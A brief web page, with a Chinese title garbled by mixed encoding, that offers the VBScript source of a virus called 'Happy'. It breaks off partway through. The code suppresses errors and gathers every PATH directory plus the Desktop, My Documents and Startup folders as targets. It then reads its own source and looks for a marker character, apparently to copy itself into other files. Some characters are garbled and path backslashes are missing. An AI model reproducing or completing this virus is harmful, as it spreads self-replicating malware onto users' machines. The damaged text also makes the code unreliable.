一個(gè)用VBS編寫的病毒[Happy]

一個(gè)用VBS編寫的病毒[Happy]
    Happy Virus Code
    注釋：?
    On Error Resume Next
    Dim IV6, U187, IV7, IV1, IV2, IV3, IV4
    Dim T111
    Dim IV5(200)
    Dim XR
    Set WSHShell = Wscript.CreateObject("Wscript.Shell")
    Set WshSysEnv = WSHShell.Environment("Process")
    IV10 = WshSysEnv("Path")
    IV7 = WSHShell.EXPandEnvironmentStrings("%windir%avm.vbs")
    IV1 = Wscript.ScriptFullName
    Set IV6 = CreateObject("Scripting.FileSystemObject")
    XR = 1
    T11 = Wscript.ScriptFullName
    For x = Len(IV10) To 1 Step -1
    IV4 = Mid(IV10, x, 1)
    If IV4 <> ";" Then
    IV5(XR) = IV4 + IV5(XR)
    ElseIf IV4 = ";" Then
    IV5(XR) = IV5(XR) + ""
    XR = XR + 1
    End If
    Next
    IV5(XR) = IV5(XR) + ""
    IV5(XR + 1) = WSHShell.SpecialFolders("Desktop") + ""
    IV5(XR + 2) = WSHShell.SpecialFolders("MyDocuments") + ""
    IV5(XR + 3) = WSHShell.SpecialFolders("Startup") + ""
    IV5(XR + 4) = Left(T11, InStrRev(T11, ""))
    Set TS = IV6.OpenTextFile(T11, 1)
    IV9 = TS.ReadAll
    TS.Close
    IV8 = Chr(167)
    endIV8 = "注釋：" & IV8
    For x = Len(IV9) To 1 Step -1
    If Mid(IV9, x, 1) = IV8 Then
    x = 1